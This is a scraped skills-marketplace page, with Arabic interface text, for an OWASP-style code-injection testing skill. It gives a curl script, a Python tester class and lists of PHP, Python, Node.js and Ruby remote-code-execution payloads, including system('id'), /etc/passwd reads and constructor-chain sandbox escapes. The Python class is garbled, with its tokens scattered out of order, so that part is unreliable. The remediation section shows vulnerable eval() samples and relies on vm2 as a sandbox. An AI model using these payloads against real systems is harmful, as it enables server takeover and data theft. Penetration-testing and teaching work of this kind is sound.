Skip to main content سوق المهارات اكتشف واستكشف مهارات الذكاء الاصطناعي التي بناها المجتمع.
التثبيت باستخدام Codex أو Claude انسخ هذا Prompt والصقه في Codex أو Claude أو مساعد آخر ليراجع صفحة Skill ويثبّتها لك.
نسخ Promptعرض تفاصيل Prompt يتجاوز الأمر المباشر Prompt المخصّص للمراجعة. افحص المصدر قبل تشغيله.
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-inpv-11يبقى الأمر في سطر واحد. مرّر أفقيًا لمراجعته كاملًا قبل النسخ.
تفضّل نسخة محلية؟ نزّل الملفات المتاحة حاليًا لدى SkillsMP.
تحميل Zip جاري التحميل... name wstg-inpv-11 description Testing for Code Injection category input-validation owasp_id WSTG-INPV-11 version 1.0.0 author cyberstrike-official tags ["injection","input-validation","xss","sqli","wstg","inpv"] tech_stack ["python","ruby","php","java","jinja2","twig","freemarker"] cwe_ids ["CWE-94","CWE-95"] chains_with [] prerequisites [] severity_boost {}
wstg-inpv-11
Test ID
WSTG-INPV-11
Test Name
Testing for Code Injection
High-Level Description
Code Injection occurs when an application incorporates user input into code that is dynamically executed. This includes injection into interpreted languages (PHP, Python, JavaScript, Ruby) through functions like eval(), exec(), or similar. Successful exploitation leads to arbitrary code execution on the server.
What to Check
How to Test
Step 1: Identify Code Injection Points
#!/bin/bash
TARGET="https://target.com"
echo "[*] Testing for code injection..."
curl -s "$TARGET /page.php?code=phpinfo()"
curl -s "$TARGET /page.php?calc=1+1"
curl -s "$TARGET /page.php?eval=system('id')"
curl -s "$TARGET /api/calc?expr=__import__('os').popen('id').read()"
curl -s "$TARGET /api/eval?code=require('child_process').execSync('id')"
Step 2: Code Injection Tester
"""
Code Injection Vulnerability Tester
"""
import requests
import time
class :
( ):
.url = url
.findings = []
.session = requests.Session()
PAYLOADS = {
: [
,
,
,
,
,
,
,
,
,
],
: [
,
,
,
,
,
,
],
: [
,
,
,
,
,
],
: [
,
,
,
,
,
,
,
],
}
( ):
( )
payload .PAYLOADS[ ]:
:
response = .session.get(
.url,
params={param: payload},
timeout=
)
response.text \
response.text \
response.text:
( )
( )
.findings.append({
: ,
: payload,
:
})
requests.exceptions.Timeout:
payload:
( )
.findings.append({
: ,
: payload,
:
})
Exception e:
( ):
( )
payload .PAYLOADS[ ]:
:
start = time.time()
response = .session.get(
.url,
params={param: payload},
timeout=
)
elapsed = time.time() - start
response.text:
( )
( )
.findings.append({
: ,
: payload,
:
})
elapsed > payload:
( )
.findings.append({
: ,
: payload,
:
})
Exception e:
( ):
( )
payload .PAYLOADS[ ]:
:
response = .session.get(
.url,
params={param: payload},
timeout=
)
response.text:
( )
( )
.findings.append({
: ,
: payload,
:
})
requests.exceptions.Timeout:
payload:
( )
.findings.append({
: ,
: payload,
:
})
Exception e:
( ):
( )
test_cases = [
( , ),
( , ),
( , ),
]
payload, expected test_cases:
:
response = .session.get(
.url,
params={param: payload}
)
expected response.text:
( )
code_payloads = [
,
,
]
code_payload code_payloads:
resp = .session.get(
.url,
params={param: code_payload}
)
resp.text:
( )
.findings.append({
: ,
: code_payload,
:
})
Exception e:
( ):
( + * )
( )
( * )
.findings:
( )
:
f .findings:
( )
( )
( ):
.test_php_injection(param)
.test_python_injection(param)
.test_nodejs_injection(param)
.test_arithmetic_injection(param)
.generate_report()
tester = CodeInjectionTester( )
tester.run_tests()
CodeInjectionTester
def
__init__
self, url
self
self
self
'php'
"phpinfo()"
"system('id')"
"passthru('id')"
"shell_exec('id')"
"`id`"
"sleep(5)"
"assert('system(\"id\")')"
"preg_replace('/test/e','system(\"id\")','test')"
"create_function('','system(\"id\");')"
'python'
"__import__('os').system('id')"
"eval('__import__(\"os\").system(\"id\")')"
"__import__('os').popen('id').read()"
"exec('import os; os.system(\"id\")')"
"__import__('time').sleep(5)"
"compile('import os\\nos.system(\"id\")','<string>','exec')"
'nodejs'
"require('child_process').execSync('id')"
"require('child_process').spawnSync('id')"
"eval(require('child_process').execSync('id').toString())"
"new Function('return process.mainModule.require(\"child_process\").execSync(\"id\")')"
"require('child_process').execSync('sleep 5')"
'ruby'
"eval('`id`')"
"system('id')"
"exec('id')"
"`id`"
"Kernel.system('id')"
"%x(id)"
"sleep(5)"
def
test_php_injection
self, param='code'
"""Test PHP code injection"""
print
"\n[*] Testing PHP code injection..."
for
in
self
'php'
try
self
self
15
if
'uid='
in
or
'PHP Version'
in
or
'phpinfo()'
in
print
f"[VULN] PHP Code Injection!"
print
f" Payload: {payload} "
self
'type'
'PHP Code Injection'
'payload'
'severity'
'Critical'
return
True
except
if
'sleep'
in
print
f"[VULN] Time-based PHP Code Injection!"
self
'type'
'PHP Code Injection (Time-based)'
'payload'
'severity'
'Critical'
return
True
except
as
pass
return
False
def
test_python_injection
self, param='expr'
"""Test Python code injection"""
print
"\n[*] Testing Python code injection..."
for
in
self
'python'
try
self
self
15
if
'uid='
in
print
f"[VULN] Python Code Injection!"
print
f" Payload: {payload} "
self
'type'
'Python Code Injection'
'payload'
'severity'
'Critical'
return
True
if
4
and
'sleep'
in
print
f"[VULN] Time-based Python Code Injection!"
self
'type'
'Python Code Injection (Time-based)'
'payload'
'severity'
'Critical'
return
True
except
as
pass
return
False
def
test_nodejs_injection
self, param='code'
"""Test Node.js code injection"""
print
"\n[*] Testing Node.js code injection..."
for
in
self
'nodejs'
try
self
self
15
if
'uid='
in
print
f"[VULN] Node.js Code Injection!"
print
f" Payload: {payload} "
self
'type'
'Node.js Code Injection'
'payload'
'severity'
'Critical'
return
True
except
if
'sleep'
in
print
f"[VULN] Time-based Node.js Code Injection!"
self
'type'
'Node.js Code Injection (Time-based)'
'payload'
'severity'
'Critical'
return
True
except
as
pass
return
False
def
test_arithmetic_injection
self, param='calc'
"""Test arithmetic expression injection"""
print
"\n[*] Testing arithmetic injection..."
"7*7"
"49"
"1+1"
"2"
"100-1"
"99"
for
in
try
self
self
if
in
print
f"[INFO] Arithmetic evaluation detected"
"__import__('os').system('id')"
"require('child_process').execSync('id')"
for
in
self
self
if
'uid='
in
print
f"[VULN] Code injection via arithmetic!"
self
'type'
'Code Injection via Arithmetic Eval'
'payload'
'severity'
'Critical'
return
True
except
as
pass
return
False
def
generate_report
self
"""Generate findings report"""
print
"\n"
"="
60
print
"CODE INJECTION REPORT"
print
"="
60
if
not
self
print
"\nNo code injection vulnerabilities confirmed."
else
for
in
self
print
f"\n[{f['severity' ]} ] {f['type' ]} "
print
f" Payload: {f['payload' ][:60 ]} "
def
run_tests
self, param='code'
"""Run all code injection tests"""
self
self
self
self
self
"https://target.com/eval"
Step 3: Language-Specific Payloads
${system ('id' )}
${`id`}
";system('id');//
';system('id');//
phpinfo()
highlight_file('/etc/passwd')
file_get_contents('/etc/passwd')
__import__ ('os' ).system('id' )
eval (compile ('import os; os.system("id")' ,'<string>' ,'exec' ))
(lambda : __import__ ('os' ).system('id' ))()
getattr (__import__ ('os' ),'system' )('id' )
require ("child_process" ).execSync ("id" ).toString ()
global .process .mainModule .require ("child_process" ).execSync ("id" ).toString ()
this .constructor .constructor ("return process" )( ).mainModule .require ("child_process" ).execSync ("id" ).toString ()
Tools Tool Purpose Burp Suite Payload injection Commix Command/code injection Custom scripts Targeted testing
Remediation
result = eval (user_input)
import ast
def safe_eval (expression ):
allowed_nodes = {
ast.Expression, ast.Num, ast.BinOp,
ast.Add, ast.Sub, ast.Mult, ast.Div
}
tree = ast.parse(expression, mode='eval' )
for node in ast.walk(tree):
if type (node) not in allowed_nodes:
raise ValueError("Unsafe expression" )
return eval (compile (tree, '<string>' , 'eval' ))
<?php
eval ($_GET ['code' ]);
$allowed_functions = ['strlen' , 'strtoupper' , 'strtolower' ];
$func = $_GET ['func' ];
if (in_array ($func , $allowed_functions )) {
$result = call_user_func ($func , $input );
}
?>
eval (userInput)
const { VM } = require ("vm2" )
const vm = new VM ({
timeout : 1000 ,
sandbox : {},
})
const result = vm.run (userInput)
Risk Assessment Finding CVSS Severity Direct code execution 9.8 Critical eval() with user input 9.8 Critical Arithmetic injection to RCE 9.8 Critical
CWE Categories CWE ID Title CWE-94 Improper Control of Generation of Code
Checklist [ ] eval() functions identified
[ ] Dynamic code execution tested
[ ] Time-based payloads tested
[ ] Multiple languages tested
[ ] Arithmetic injection tested
[ ] Findings documented
المهن ذات الصلة SOC
استنادا إلى تصنيف SOC المهني